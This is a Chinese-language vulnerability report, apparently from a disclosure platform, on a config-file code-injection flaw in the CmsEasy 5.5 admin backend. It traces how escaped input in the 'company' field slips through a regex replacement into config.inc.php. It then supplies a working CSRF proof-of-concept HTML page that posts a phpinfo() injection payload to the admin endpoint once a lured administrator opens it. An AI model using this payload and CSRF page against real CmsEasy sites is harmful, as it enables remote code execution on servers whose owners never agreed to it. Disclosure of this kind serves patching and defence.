### 简要描述:
cmseasy 管理员身份 后台缓存配置文件,没有过滤一个字符导致getshell
### 详细说明:
啥都不说了 直接看代码:
我们直接到
[<img src="https://images.seebug.org/upload/201409/03203135fa2dcf3697b98e92455002f069d4073b.png" alt="10.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/03203135fa2dcf3697b98e92455002f069d4073b.png)
然后我们分析一下代码:
system.php:(lines:67):
```
if(addslashes($_POST['customer_info']))
{
$customer_info='true';
}else{
$customer_info='false';
}
$GLOBALS['celsysteminfo']->conf(addslashes($_POST['url']), addslashes($_POST['template']), addslashes($_POST['company']),addslashes($_POST['companyinfos']), addslashes($_POST['language']), $customer_info, addslashes($_POST['tracker_refresh']));
//提交修改后,需自动刷新一次,才能显示修改的内容
echo "<script>window.history.go(-1);</script>";
}
```
我们跟进到$GLOBALS['celsysteminfo']->conf
这个函数看看,在这里之前他进行了addslashes,分析一下,如果我们提交的一个值为aaa\' 转义之后就是aaa\\\' 那么我们进入:
system.class.php:(14):
```
$this->file = preg_replace("/\['company'\] = '.*';/",'[\'company\'] = \''.$company.'\';',$this->file);
```
这句正则表达式是有问题的 ,这里的this->file 就是我们的配置文件的内容,此文件位于
celive/include/config.inc.php
意思就是把这里面company里面的值替换掉,然后后面这个'[\'company\'] = \''.$company.'\'; 相加之后其中\\\'会变成\\'故而产生漏洞,我们构造请求如下:
[<img src="https://images.seebug.org/upload/201409/032049160771e2e826f16da10ae80a4fee6b98dc.png" alt="9.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/032049160771e2e826f16da10ae80a4fee6b98dc.png)
发送一次看看这个文件有什么变化:
[<img src="https://images.seebug.org/upload/201409/032050330edce5d4e011ab105a4d50a02b81c163.png" alt="11.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/032050330edce5d4e011ab105a4d50a02b81c163.png)
我们在测试一下这里是否存在csrf,我们构造一个页面:
```
<html>
<body>
<script>
function csrf_sql(){
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://192.168.10.70/CmsEasy_5.5_UTF-8_20140818/uploads/celive/admin/system.php?action=systeminfo", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.withCredentials = "true";
var body='url=http%3A%2F%2F192.168.10.70%2FCmsEasy_5.5_UTF-8_20140818%2Fuploads%2Fcelive&company=sdssdadd%5C%27%3Bphpinfo%28%29%3B%2f%2f&customer_info=0&tracker_refresh=5000&template=default&language=chinese.php&systeminfo=systeminfo&submit=%E7%A1%AE%E8%AE%A4';
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
csrf_sql();
</script>
</body>
</html>
```
我们放到另一台机器上去,然后发给管理员,管理员触发之后:
[<img src="https://images.seebug.org/upload/201409/032052441d6f91b905acebb71cebd4a89257bb0c.png" alt="12.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/032052441d6f91b905acebb71cebd4a89257bb0c.png)
成功发送,下来我们这里访问一下刚才那个配置文件
[<img src="https://images.seebug.org/upload/201409/032053577edc8a8435cbe36eb33bd2f37fa3e4f5.png" alt="13.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/032053577edc8a8435cbe36eb33bd2f37fa3e4f5.png)
ok 这里没有给出csrf 诱惑管理员的方法,想必上一个sql来说,这个稍微弱一些,但是这个不需要数据库权限,故而还是挺严重的
### 漏洞证明:
暂无评论